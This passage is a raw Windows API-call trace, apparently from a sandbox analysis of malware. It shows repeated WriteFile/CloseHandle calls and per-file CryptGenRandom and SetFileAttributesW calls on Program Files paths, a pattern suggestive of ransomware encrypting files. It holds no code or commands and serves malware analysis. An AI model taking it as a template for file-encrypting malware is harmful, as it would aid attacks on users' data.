lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0204.741] CloseHandle (hObject=0x2130) returned 1 [0204.744] WriteFile (in: hFile=0x2130, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0204.745] CloseHandle (hObject=0x2130) returned 1 [0204.746] WriteFile (in: hFile=0x2130, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0204.747] CloseHandle (hObject=0x2130) returned 1 [0204.749] WriteFile (in: hFile=0x2134, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0204.750] CloseHandle (hObject=0x2134) returned 1 [0204.751] WriteFile (in: hFile=0x2134, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0204.752] CloseHandle (hObject=0x2134) returned 1 [0204.755] WriteFile (in: hFile=0x2134, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0204.756] CloseHandle (hObject=0x2134) returned 1 [0204.756] WriteFile (in: hFile=0x2134, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0204.757] CloseHandle (hObject=0x2134) returned 1 [0204.758] WriteFile (in: hFile=0x2138, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0204.758] CloseHandle (hObject=0x2138) returned 1 [0204.760] WriteFile (in: hFile=0x2138, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0204.761] CloseHandle (hObject=0x2138) returned 1 [0204.762] WriteFile (in: hFile=0x2138, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0204.763] CloseHandle (hObject=0x2138) returned 1 [0204.763] WriteFile (in: hFile=0x2138, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0204.765] CloseHandle (hObject=0x2138) returned 1 [0204.767] WriteFile (in: hFile=0x213c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0204.768] CloseHandle (hObject=0x213c) returned 1 [0204.769] WriteFile (in: hFile=0x2140, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0204.770] CloseHandle (hObject=0x2140) returned 1 [0204.772] WriteFile (in: hFile=0x2140, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0204.773] CloseHandle (hObject=0x2140) returned 1 [0204.774] WriteFile (in: hFile=0x2140, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0204.775] CloseHandle (hObject=0x2140) returned 1 [0204.776] WriteFile (in: hFile=0x2140, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0204.777] CloseHandle (hObject=0x2140) returned 1 [0204.837] WriteFile (in: hFile=0x2140, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0204.838] CloseHandle (hObject=0x2140) returned 1 [0204.839] WriteFile (in: hFile=0x2140, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0204.840] CloseHandle (hObject=0x2140) returned 1 [0204.841] WriteFile (in: hFile=0x2140, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0204.842] CloseHandle (hObject=0x2140) returned 1 [0204.843] WriteFile (in: hFile=0x2140, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0204.844] CloseHandle (hObject=0x2140) returned 1 [0204.844] WriteFile (in: hFile=0x2140, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0204.845] CloseHandle (hObject=0x2140) returned 1 [0204.846] WriteFile (in: hFile=0x2140, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0204.847] CloseHandle (hObject=0x2140) returned 1 [0204.864] WriteFile (in: hFile=0x2140, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0204.865] CloseHandle (hObject=0x2140) returned 1 [0204.865] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x61b788 | out: pbBuffer=0x61b788) returned 1 [0204.866] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f6b60 | out: pbBuffer=0x30f6b60) returned 1 [0204.866] SetFileAttributesW (lpFileName="\\Program Files (x86)\\Common Files\\Services\\verisign.bmp", dwFileAttributes=0x80) returned 0 [0204.876] WriteFile (in: hFile=0x2148, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0204.877] CloseHandle (hObject=0x2148) returned 1 [0204.878] WriteFile (in: hFile=0x2148, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0204.879] CloseHandle (hObject=0x2148) returned 1 [0204.900] WriteFile (in: hFile=0x2148, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0204.901] CloseHandle (hObject=0x2148) returned 1 [0204.913] WriteFile (in: hFile=0x2148, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0204.914] CloseHandle (hObject=0x2148) returned 1 [0204.917] WriteFile (in: hFile=0x214c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0204.918] CloseHandle (hObject=0x214c) returned 1 [0204.924] WriteFile (in: hFile=0x2154, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0204.925] CloseHandle (hObject=0x2154) returned 1 [0204.926] WriteFile (in: hFile=0x2154, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0204.927] CloseHandle (hObject=0x2154) returned 1 [0204.939] WriteFile (in: hFile=0x2154, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0204.940] CloseHandle (hObject=0x2154) returned 1 [0204.941] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x61cb20 | out: pbBuffer=0x61cb20) returned 1 [0204.941] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f6c00 | out: pbBuffer=0x30f6c00) returned 1 [0204.941] SetFileAttributesW (lpFileName="\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_48.png", dwFileAttributes=0x80) returned 0 [0204.942] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x61bfc8 | out: pbBuffer=0x61bfc8) returned 1 [0204.942] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f6b30 | out: pbBuffer=0x30f6b30) returned 1 [0204.942] SetFileAttributesW (lpFileName="\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_48.jpg", dwFileAttributes=0x80) returned 0 [0204.942] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x61baa0 | out: pbBuffer=0x61baa0) returned 1 [0204.942] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f6c40 | out: pbBuffer=0x30f6c40) returned 1 [0204.942] SetFileAttributesW (lpFileName="\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_120.png", dwFileAttributes=0x80) returned 0 [0204.962] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x61b578 | out: pbBuffer=0x61b578) returned 1 [0204.962] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f6ca0 | out: pbBuffer=0x30f6ca0) returned 1 [0204.962] SetFileAttributesW (lpFileName="\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_120.jpg", dwFileAttributes=0x80) returned 0 [0204.969] WriteFile (in: hFile=0x2194, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0204.970] CloseHandle (hObject=0x2194) returned 1 [0204.970] WriteFile (in: hFile=0x2198, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0204.971] CloseHandle (hObject=0x2198) returned 1 [0204.971] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x61c910 | out: pbBuffer=0x61c910) returned 1 [0204.972] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f6c60 | out: pbBuffer=0x30f6c60) returned 1 [0204.972] SetFileAttributesW (lpFileName="\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceYi.txt", dwFileAttributes=0x80) returned 0 [0204.972] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x61c0d0 | out: pbBuffer=0x61c0d0) returned 1 [0204.972] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f6c80 | out: pbBuffer=0x30f6c80) returned 1 [0204.972] SetFileAttributesW (lpFileName="\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceTigrinya.txt", dwFileAttributes=0x80) returned 0 [0204.972] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x61c4f0 | out: pbBuffer=0x61c4f0) returned 1 [0204.972] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f6c20 | out: pbBuffer=0x30f6c20) returned 1 [0204.972] SetFileAttributesW (lpFileName="\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceDaYi.txt", dwFileAttributes=0x80) returned 0 [0204.972] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x61c700 | out: pbBuffer=0x61c700) returned 1 [0204.972] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f6b70 | out: pbBuffer=0x30f6b70) returned 1 [0204.972] SetFileAttributesW (lpFileName="\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceArray.txt", dwFileAttributes=0x80) returned 0 [0204.972] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x61b998 | out: pbBuffer=0x61b998) returned 1 [0204.972] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f6c70 | out: pbBuffer=0x30f6c70) returned 1 [0204.973] SetFileAttributesW (lpFileName="\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceAmharic.txt", dwFileAttributes=0x80) returned 0 [0204.976] WriteFile (in: hFile=0x21a8, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0204.977] CloseHandle (hObject=0x21a8) returned 1 [0204.977] WriteFile (in: hFile=0x21a8, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0204.978] CloseHandle (hObject=0x21a8) returned 1 [0204.979] WriteFile (in: hFile=0x21ac, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0204.980] CloseHandle (hObject=0x21ac) returned 1 [0204.981] WriteFile (in: hFile=0x21ac, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0204.982] CloseHandle (hObject=0x21ac) returned 1 [0204.982] WriteFile (in: hFile=0x21ac, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0204.983] CloseHandle (hObject=0x21ac) returned 1 [0204.984] WriteFile (in: hFile=0x21ac, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0204.985] CloseHandle (hObject=0x21ac) returned 1 [0204.995] WriteFile (in: hFile=0x21b4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0204.997] CloseHandle (hObject=0x21b4) returned 1 [0204.997] WriteFile (in: hFile=0x21b4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0204.998] CloseHandle (hObject=0x21b4) returned 1 [0204.998] WriteFile (in: hFile=0x21b4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0204.999] CloseHandle (hObject=0x21b4) returned 1 [0204.999] WriteFile (in: hFile=0x21b4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0205.000] CloseHandle (hObject=0x21b4) returned 1 [0205.003] WriteFile (in: hFile=0x21b4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0205.004] CloseHandle (hObject=0x21b4) returned 1 [0205.005] WriteFile (in: hFile=0x21b4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0205.006] CloseHandle (hObject=0x21b4) returned 1 [0205.006] WriteFile (in: hFile=0x21b4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0205.007] CloseHandle (hObject=0x21b4) returned 1 [0205.024] WriteFile (in: hFile=0x21b4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0205.030] CloseHandle (hObject=0x21b4) returned 1 [0205.032] WriteFile (in: hFile=0x21b4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0205.033] CloseHandle (hObject=0x21b4) returned 1 [0205.033] WriteFile (in: hFile=0x21b4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0205.034] CloseHandle (hObject=0x21b4) returned 1 [0205.035] WriteFile (in: hFile=0x21b4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0205.036] CloseHandle (hObject=0x21b4) returned 1 [0205.036] WriteFile (in: hFile=0x21b4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0205.037] CloseHandle (hObject=0x21b4) returned 1 [0205.055] WriteFile (in: hFile=0x21b4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0205.062] CloseHandle (hObject=0x21b4) returned 1 [0205.062] WriteFile (in: hFile=0x21b4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0205.064] CloseHandle (hObject=0x21b4) returned 1 [0205.066] WriteFile (in: hFile=0x21b4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0205.067] CloseHandle (hObject=0x21b4) returned 1 [0205.069] WriteFile (in: hFile=0x21b4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0205.071] CloseHandle (hObject=0x21b4) returned 1 [0205.072] WriteFile (in: hFile=0x21b4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0205.073] CloseHandle (hObject=0x21b4) returned 1 [0205.074] WriteFile (in: hFile=0x21b4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0205.075] CloseHandle (hObject=0x21b4) returned 1 [0205.075] WriteFile (in: hFile=0x21b4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0205.076] CloseHandle (hObject=0x21b4) returned 1 [0205.077] WriteFile (in: hFile=0x21b4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0205.078] CloseHandle (hObject=0x21b4) returned 1 [0205.078] WriteFile (in: hFile=0x21b4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0205.079] CloseHandle (hObject=0x21b4) returned 1 [0205.080] WriteFile (in: hFile=0x21b4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0205.081] CloseHandle (hObject=0x21b4) returned 1 [0205.081] WriteFile (in: hFile=0x21b4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0205.082] CloseHandle (hObject=0x21b4) returned 1 [0205.082] WriteFile (in: hFile=0x21b4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0205.083] CloseHandle (hObject=0x21b4) returned 1 [0205.084] WriteFile (in: hFile=0x21b4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0205.085] CloseHandle (hObject=0x21b4) returned 1 [0205.085] WriteFile (in: hFile=0x21b4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0205.086] CloseHandle (hObject=0x21b4) returned 1 [0205.086] WriteFile (in: hFile=0x21b4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0205.087] CloseHandle (hObject=0x21b4) returned 1 [0205.087] WriteFile (in: hFile=0x21b4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0205.088] CloseHandle (hObject=0x21b4) returned 1 [0205.089] WriteFile (in: hFile=0x21b4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0205.090] CloseHandle (hObject=0x21b4) returned 1 [0205.090] WriteFile (in: hFile=0x21b4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0205.091] CloseHandle (hObject=0x21b4) returned 1 [0205.092] WriteFile (in: hFile=0x21b4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0205.092] CloseHandle (hObject=0x21b4) returned 1 [0205.093] WriteFile (in: hFile=0x21b4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0205.093] CloseHandle (hObject=0x21b4) returned 1 [0205.153] WriteFile (in: hFile=0x21b4, lpBuffer=0x53c770*, 